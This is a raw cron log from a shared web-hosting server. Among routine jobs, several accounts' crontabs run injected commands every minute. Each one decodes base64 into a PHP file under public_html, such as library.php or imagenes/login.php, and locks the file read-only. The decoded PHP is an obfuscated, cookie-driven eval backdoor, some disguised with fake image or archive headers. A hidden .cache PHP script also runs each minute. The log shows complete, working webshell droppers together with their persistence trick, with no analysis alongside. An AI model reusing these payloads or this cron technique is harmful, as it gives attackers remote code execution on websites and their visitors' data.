Mar  2 07:17:02 medusa CROND[25647]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:17:02 medusa CROND[25648]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:17:02 medusa CROND[25653]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:17:02 medusa CROND[25656]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:17:02 medusa CROND[25661]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:17:02 medusa CROND[25662]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:17:02 medusa CROND[25666]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:17:02 medusa CROND[25670]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 07:17:02 medusa CROND[25668]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:18:02 medusa CROND[9673]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:18:02 medusa CROND[9783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:18:02 medusa CROND[9784]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:18:02 medusa CROND[9785]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:18:02 medusa CROND[9788]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:18:02 medusa CROND[9789]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:18:02 medusa CROND[9793]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  2 07:18:02 medusa CROND[9794]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:18:02 medusa CROND[9795]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:18:02 medusa CROND[9796]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:18:02 medusa CROND[9797]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 07:18:02 medusa CROND[9805]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 07:18:02 medusa CROND[9811]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:18:02 medusa CROND[9802]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:19:01 medusa CROND[27150]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:19:01 medusa CROND[27151]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:19:01 medusa CROND[27153]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 07:19:01 medusa CROND[27154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:19:01 medusa CROND[27157]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:19:01 medusa CROND[27158]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:19:01 medusa CROND[27160]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
